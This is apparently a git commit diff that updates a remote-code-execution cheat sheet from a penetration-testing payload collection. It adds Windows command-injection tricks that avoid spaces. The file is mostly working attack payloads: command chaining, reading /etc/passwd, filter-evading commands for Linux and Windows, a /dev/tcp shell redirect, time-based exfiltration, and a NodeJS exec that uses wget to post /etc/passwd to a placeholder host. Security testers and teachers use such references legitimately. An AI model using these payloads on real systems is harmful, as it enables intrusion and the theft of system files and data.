CVE Struts RCE + AWS ls + RCE spaceless Windows + Methodology updated

This commit is contained in:
Swissky
2017-06-05 14:57:28 +02:00
parent 2e75cbe25a
commit 7c865ab8aa
7 changed files with 207 additions and 12 deletions

View File

@@ -1,14 +1,14 @@
# Remote Code Execution
Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
## Exploits
Normal code execution, execute the command and voila :p
```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```
@@ -19,7 +19,7 @@ original_cmd_by_server && ls
original_cmd_by_server | ls
```
Code execution without space
Code execution without space - Linux
```
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
@@ -40,6 +40,12 @@ Linux crashlab 4.4.X-XX-generic #72-Ubuntu
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
```
Code execution without space - Windows
```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```
## Time based data exfiltration
Extracting data : char by char
```
@@ -54,7 +60,7 @@ user 0m0.000s
sys 0m0.000s
```
## Environment based
## Environment based
NodeJS Code execution
```
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
@@ -62,3 +68,4 @@ require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
## Thanks to
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136)